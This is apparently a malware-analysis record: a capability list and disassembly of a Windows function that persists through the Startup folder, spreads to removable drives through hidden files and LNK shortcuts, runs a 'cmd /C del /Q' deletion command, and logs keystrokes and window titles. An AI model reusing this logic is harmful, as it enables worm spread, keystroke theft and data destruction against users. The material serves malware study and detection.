Function at 0x643424f8
Capabilities:
Check for foreground window switch
Check if file exists
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Delete directory
Delete file
Enumerate files on windows
Get common file path
Get disk information
Get file attributes
Get file system object information
Get graphical window text
Get startup folder
Move file
Persist via lnk shortcut
Set current directory
Set file attributes
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5cc
mov dword [esp + 8], str.falmme
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexA]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x23c34600
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
cmp eax, 0x102
mov dword [esp + 4], 0x84
mov dword [esp], sym.a.cpl_path
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 0x10], sym.a.cpl_PROFILE
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x28
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
call eax
sub esp, 0x14
mov dword [esp], sym.a.cpl_PROFILE
mov eax, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call eax
sub esp, 4
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x30]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x11
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_SHGetFolderLocation]
call eax
sub esp, 0x14
lea edx, [ebp - 0x3b0]
mov eax, 0
mov ecx, 0x58
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x10], 0x208
mov dword [esp + 0xc], 0x160
lea edx, [ebp - 0x3b0]
mov dword [esp + 8], edx
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.SHELL32.DLL_SHGetFileInfoA]
call eax
sub esp, 0x14
mov dword [esp + 0x10], sym.a.cpl_STARTUP
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, sym.a.cpl_STARTUP
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_STARTUP
mov dword [eax], 0x632e615c
mov word [eax + 4], 0x6c70
mov byte [eax + 6], 0
mov dword [esp + 8], 1
mov dword [esp + 4], sym.a.cpl_STARTUP
mov dword [esp], sym.a.cpl_path
mov eax, dword [sym.imp.KERNEL32.dll_MoveFileExA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x5b0]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x5b0]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x5b0]
add eax, edx
mov dword [eax], 0x7269535c
mov dword [eax + 4], 0x5f617765
mov dword [eax + 8], 0x70632e5f
mov word [eax + 0xc], 0x6c
mov dword [esp + 8], 1
mov dword [esp + 4], 0x64366137
lea eax, [ebp - 0x5b0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MoveFileExA]
call eax
sub esp, 0xc
mov eax, dword [sym.a.cpl_pCreateThread]
mov dword [esp + 0x14], sym.a.cpl_id
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.a.cpl_Thread_DownLoad_ScreenShot_void_
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x18
mov dword [esp], 0x64
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [esp + 8], 0x100
mov dword [esp + 4], sym.a.cpl_dow
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
mov dword [esp + 4], sym.a.cpl_dow
mov dword [esp], sym.a.cpl_dow0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64343106
mov eax, sym.a.cpl_dow
movzx eax, byte [eax]
test al, al
je 0x64343106
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [esp + 8], 0x100
mov dword [esp + 4], sym.a.cpl_cN
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetClassNameA]
call eax
sub esp, 0xc
mov byte [0x6436f886], 0
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x19], 0x44
jmp 0x64343095
movzx eax, byte [ebp - 0x19]
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], 0x3a
mov byte [ebp - 0x30], 0
lea eax, [ebp - 0x32]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
call eax
sub esp, 4
cmp eax, 2
sete al
test al, al
je 0x6434308b
lea eax, [ebp - 0x32]
mov dword [esp + 4], eax
mov dword [esp], sym.a.cpl_Dri
call sub.msvcrt.dll_strcpy
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov word [eax], 0x2a5c
mov byte [eax + 2], 0
mov dword [esp + 4], sym.a.cpl_fd
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
mov byte [0x6436f083], 0
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov dword [eax], 0x70632e61
mov word [eax + 4], 0x6c
mov dword [esp], str.a.cpl
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
setne al
test al, al
je 0x64342ab1
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], sym.a.cpl_Dri
mov dword [esp], sym.a.cpl_path
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 1
mov dword [esp + 4], str.__.lnk
mov dword [esp], str.a.cpl
mov eax, dword [sym.imp.KERNEL32.dll_MoveFileExA]
call eax
sub esp, 0xc
mov byte [0x6436f083], 0
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov dword [eax], 0x6c2a2e2a
mov word [eax + 4], 0x6b6e
mov byte [eax + 6], 0
mov dword [ebp - 0x250], 0x20646d63
mov dword [ebp - 0x24c], 0x6420432f
mov dword [ebp - 0x248], 0x2f206c65
mov dword [ebp - 0x244], 0x2051
lea edx, [ebp - 0x240]
mov eax, 0
mov ecx, 0x3c
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], sym.a.cpl_Dri
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
lea eax, [ebp - 0x250]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov byte [0x6436f082], 0
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov dword [eax], 0x4e49575c
mov dword [eax + 4], 0x53574f44
mov dword [eax + 8], 0x7379535c
mov dword [eax + 0xc], 0x336d6574
mov dword [eax + 0x10], 0x69535c32
mov dword [eax + 0x14], 0x61776572
mov dword [eax + 0x18], 0x632e5f5f
mov word [eax + 0x1c], 0x6c70
mov byte [eax + 0x1e], 0
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
mov byte [0x6436f093], 0
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call eax
sub esp, 4
mov byte [0x6436f08a], 0
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call eax
sub esp, 4
mov byte [0x6436f083], 0
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov dword [eax], 0x70632e61
mov word [eax + 4], 0x6c
mov dword [esp + 8], 1
mov dword [esp + 4], sym.a.cpl_Dri
mov dword [esp], sym.a.cpl_path
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 4], 6
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
jmp 0x64342f21
mov eax, dword [sym.a.cpl_fd]
and eax, 0x10
test eax, eax
je 0x64342f09
mov byte [0x6436f083], 0
mov dword [esp + 4], 0x6436fbec
mov dword [esp], sym.a.cpl_Dri
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.System_Volume_Information
mov dword [esp], 0x6436fbec
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342b7c
mov dword [esp + 4], str.RECYCLER
mov dword [esp], 0x6436fbec
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342b7c
mov dword [esp + 4], str._RECYCLE.BIN
mov dword [esp], 0x6436fbec
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342b7c
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov dword [eax], 0x6b6e6c2e
mov byte [eax + 4], 0
mov dword [esp + 4], 6
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 4], str.Cabine
mov dword [esp], sym.a.cpl_cN
call sub.msvcrt.dll_strcmp
mov ebx, eax
lea eax, [ebp - 0x3b0]
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], sym.a.cpl_dow
call sub.msvcrt.dll_strcmp
test eax, eax
sete al
movzx eax, al
or eax, ebx
test eax, eax
je 0x64342f09
mov dword [esp + 4], str.Explor
mov dword [esp], sym.a.cpl_cN
call sub.msvcrt.dll_strcmp
mov ebx, eax
lea eax, [ebp - 0x3b0]
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], sym.a.cpl_dow
call sub.msvcrt.dll_strcmp
test eax, eax
sete al
movzx eax, al
or eax, ebx
test eax, eax
je 0x64342f09
mov dword [esp + 4], str.32770
mov dword [esp], sym.a.cpl_cN
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342f09
mov dword [esp + 4], str.bosa_s
mov dword [esp], sym.a.cpl_cN
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342f09
mov byte [0x6436f083], 0
mov dword [esp + 4], 0x6436fbec
mov dword [esp], sym.a.cpl_Dri
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 6
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov eax, sym.a.cpl_Dri
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
sub eax, 1
add eax, sym.a.cpl_Dri
mov dword [eax], 0x6b6e6c2e
mov byte [eax + 4], 0
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
jne 0x64342d3e
mov dword [esp + 4], str.System_Volume_Information
mov dword [esp], 0x6436fbec
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342d3e
mov dword [esp + 4], str.RECYCLER
mov dword [esp], 0x6436fbec
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342d3e
mov dword [esp + 4], str._RECYCLE.BIN
mov dword [esp], 0x6436fbec
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x64342d3e
mov eax, 1
jmp 0x64342d43
mov eax, 0
test al, al
je 0x64342ef0
lea eax, [ebp - 0x48]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym.a.cpl_IID_IShellLinkA
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], sym.a.cpl_CLSID_ShellLink
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, 0x50
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], str._ComSpec_
mov dword [esp], eax
call edx
sub esp, 8
lea eax, [ebp - 0x4b0]
mov edx, str._C_xcopy__HY_a.cpl__TMP_start__TMP__a.cplstart__D_C:__MAX_explorer__CD__
mov ecx, 0x13
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, byte [edx]
mov byte [eax], cl
lea eax, [eax + 1]
lea edx, [edx + 1]
lea edx, [ebp - 0x463]
mov eax, 0
mov byte [edx], al
add edx, 1
mov word [edx], ax
add edx, 2
mov ecx, 0x2c
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x6436fbec
lea eax, [ebp - 0x4b0]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x4b0]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x4b0]
add eax, edx
mov word [eax], 0x22
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, 0x2c
mov ecx, dword [eax]
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x4b0]
mov dword [esp + 4], edx
mov dword [esp], eax
call ecx
sub esp, 8
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, 0x44
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
mov dword [esp + 8], 3
mov dword [esp + 4], str.shell32.dll
mov dword [esp], eax
call edx
sub esp, 0xc
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, 0x3c
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], 7
mov dword [esp], eax
call edx
sub esp, 8
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
mov ecx, eax
lea eax, [ebp - 0x4c]
mov dword [esp + 8], eax
mov dword [esp + 4], sym.a.cpl_IID_IPersistFile
mov dword [esp], ecx
call edx
sub esp, 0xc
mov dword [esp], sym.a.cpl_Dri
call sub.msvcrt.dll_strlen
add eax, 1
mov dword [esp + 8], eax
mov dword [esp + 4], sym.a.cpl_Dri
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sub.msvcrt.dll_mbstowcs
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
add eax, 0x18
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4c]
mov dword [esp + 8], 1
lea edx, [ebp - 0x250]
mov dword [esp + 4], edx
mov dword [esp], eax
call ecx
sub esp, 0xc
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], sym.a.cpl_Dri
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 4], sym.a.cpl_fd
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
cmp dword [ebp - 0x2c], 0xffffffff
je 0x64342f3a
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 0x12
je 0x64342f3a
mov eax, 1
jmp 0x64342f3f
mov eax, 0
test al, al
jne 0x64342af0
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindClose]
call eax
sub esp, 4
mov byte [0x6436f083], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.a.cpl_Dri
mov dword [esp + 4], 1
mov dword [esp], 0x1000
mov eax, dword [sym.imp.SHELL32.DLL_SHChangeNotify]
call eax
sub esp, 0x10
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x44], 4
mov ebx, dword [sym.a.cpl_R_egOpenKeyEx]
mov dword [esp], 0x643661a4
call sym.a.cpl_decrypt_char_
mov edx, eax
lea eax, [ebp - 0x38]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], edx
mov dword [esp], 0x80000001
call ebx
sub esp, 0x14
mov ebx, dword [sym.a.cpl_R_egQueryValueEx]
mov dword [esp], 0x643661e0
call sym.a.cpl_decrypt_char_
mov ecx, eax
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x44]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x3c]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x40]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], ecx
mov dword [esp], eax
call ebx
sub esp, 0x18
mov eax, dword [ebp - 0x3c]
cmp eax, 1
jne 0x6434308b
mov dword [ebp - 0x50], 0
mov ebx, dword [sym.a.cpl_R_egCreateKey]
mov dword [esp], 0x643661a4
call sym.a.cpl_decrypt_char_
mov edx, eax
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], 0x80000001
call ebx
sub esp, 0xc
mov esi, dword [sym.a.cpl_R_egSetValueEx]
mov ebx, dword [ebp - 0x44]
mov dword [esp], 0x643661e0
call sym.a.cpl_decrypt_char_
mov ecx, eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x14], ebx
lea edx, [ebp - 0x50]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], ecx
mov dword [esp], eax
call esi
sub esp, 0x18
movzx eax, byte [ebp - 0x19]
add eax, 1
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], 0x5a
jle 0x64342801
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [esp + 8], 0x100
mov dword [esp + 4], sym.a.cpl_dow0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x643661f0
mov dword [esp], 0x643660f6
call sub.msvcrt.dll_fopen
mov dword [sym.a.cpl_file], eax
mov eax, dword [sym.a.cpl_file]
mov dword [esp + 8], sym.a.cpl_dow0
mov dword [esp + 4], str._p__font_colorFF8000_font_size2__s__font__p_
mov dword [esp], eax
call fcn.64341450
mov eax, dword [sym.a.cpl_file]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
movzx eax, byte [sym.a.cpl_Ch]
test al, al
je 0x6434315a
mov dword [esp + 4], 0x643661f0
mov dword [esp], 0x643660f6
call sub.msvcrt.dll_fopen
mov dword [sym.a.cpl_file], eax
mov edx, dword [sym.a.cpl_file]
movzx eax, byte [sym.a.cpl_Ch]
movsx eax, al
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fputc
mov eax, dword [sym.a.cpl_file]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov byte [sym.a.cpl_Ch], 0
mov dword [ebp - 0x20], 0x41
jmp 0x643431d8
mov edx, dword [sym.a.cpl_G_etAsyncKeyState]
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call edx
sub esp, 4
test ax, ax
setne al
test al, al
je 0x643431d4
nop
mov edx, dword [sym.a.cpl_G_etAsyncKeyState]
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call edx
sub esp, 4
shr ax, 0xf
test al, al
jne 0x6434317f
mov dword [sym.a.cpl_n], 0
mov eax, dword [sym.a.cpl_G_etKeyState]
mov dword [esp], 0x14
call eax
sub esp, 4
test ax, ax
sete al
test al, al
je 0x643431c1
add dword [ebp - 0x20], 0x20
mov eax, dword [ebp - 0x20]
mov edx, eax
movzx eax, byte [sym.a.cpl_Ch]
add eax, edx
mov byte [sym.a.cpl_Ch], al
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x5a
jle 0x64343163
mov dword [ebp - 0x24], 0x60
jmp 0x64343245
mov edx, dword [sym.a.cpl_G_etAsyncKeyState]
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 4
test ax, ax
setne al
test al, al
je 0x64343241
nop
mov edx, dword [sym.a.cpl_G_etAsyncKeyState]
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call edx
sub esp, 4
shr ax, 0xf
test al, al
jne 0x64343203
mov eax, dword [sym.a.cpl_n]
add eax, 1
mov dword [sym.a.cpl_n], eax
sub dword [ebp - 0x24], 0x30
mov eax, dword [ebp - 0x24]
movzx edx, byte [sym.a.cpl_Ch]
movsx edx, dl
add eax, edx
mov byte [sym.a.cpl_Ch], al
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x69
jle 0x643431e7
mov dword [ebp - 0x28], 0x30
jmp 0x643433d2
mov edx, dword [sym.a.cpl_G_etAsyncKeyState]
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call edx
sub esp, 4
test ax, ax
setne al
test al, al
je 0x643433ce
nop
mov edx, dword [sym.a.cpl_G_etAsyncKeyState]
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call edx
sub esp, 4
shr ax, 0xf
test al, al
jne 0x64343277
mov eax, dword [sym.a.cpl_G_etKeyState]
mov dword [esp], 0x14
call eax
sub esp, 4
test ax, ax
sete al
test al, al
je 0x643433ae
mov dword [sym.a.cpl_n], 0
cmp dword [ebp - 0x28], 0x30
jne 0x643432d3
movzx eax, byte [sym.a.cpl_Ch]
sub eax, 0x20
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x31
jne 0x643432ed
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x26
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x32
jne 0x64343307
movzx eax, byte [sym.a.cpl_Ch]
sub eax, 0x17
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x33
jne 0x64343321
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x22
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x34
jne 0x6434333b
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x27
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x35
jne 0x64343352
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x28
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x36
jne 0x64343369
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x2d
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x37
jne 0x64343380
movzx eax, byte [sym.a.cpl_Ch]
sub eax, 0x18
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x38
jne 0x64343397
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x5f
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
cmp dword [ebp - 0x28], 0x39
jne 0x643433ce
movzx eax, byte [sym.a.cpl_Ch]
sub eax, 0x19
mov byte [sym.a.cpl_Ch], al
jmp 0x643433ce
mov eax, dword [sym.a.cpl_n]
add eax, 1
mov dword [sym.a.cpl_n], eax
mov eax, dword [ebp - 0x28]
mov edx, eax
movzx eax, byte [sym.a.cpl_Ch]
add eax, edx
mov byte [sym.a.cpl_Ch], al
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x39
jle 0x64343257
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 0xbe
call eax
sub esp, 4
test ax, ax
setne al
test al, al
je 0x6434342a
nop
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 0xbe
call eax
sub esp, 4
shr ax, 0xf
test al, al
jne 0x643433f8
mov dword [sym.a.cpl_n], 0
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x2e
mov byte [sym.a.cpl_Ch], al
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 0x20
call eax
sub esp, 4
test ax, ax
setne al
test al, al
je 0x6434345e
mov dword [sym.a.cpl_n], 0
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x20
mov byte [sym.a.cpl_Ch], al
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 8
call eax
sub esp, 4
test ax, ax
setne al
test al, al
je 0x64343488
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x3c
mov byte [sym.a.cpl_Ch], al
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 1
call eax
sub esp, 4
test ax, ax
setne al
test al, al
je 0x643434bc
mov dword [sym.a.cpl_n], 0
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x20
mov byte [sym.a.cpl_Ch], al
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 9
call eax
sub esp, 4
test ax, ax
setne al
test al, al
je 0x643434f0
mov dword [sym.a.cpl_n], 0
movzx eax, byte [sym.a.cpl_Ch]
add eax, 0x20
mov byte [sym.a.cpl_Ch], al
mov eax, dword [sym.a.cpl_G_etAsyncKeyState]
mov dword [esp], 0xd
call eax
sub esp, 4
test ax, ax
setne al
test al, al
je 0x64343560
mov dword [sym.a.cpl_n], 0
mov dword [esp + 4], 0x643661f0
mov dword [esp], 0x643660f6
call sub.msvcrt.dll_fopen
mov dword [sym.a.cpl_file], eax
mov eax, dword [sym.a.cpl_file]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov dword [esp + 4], 1
mov dword [esp], 0x64366224
call sub.msvcrt.dll_fwrite
mov eax, dword [sym.a.cpl_file]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
jmp 0x64342768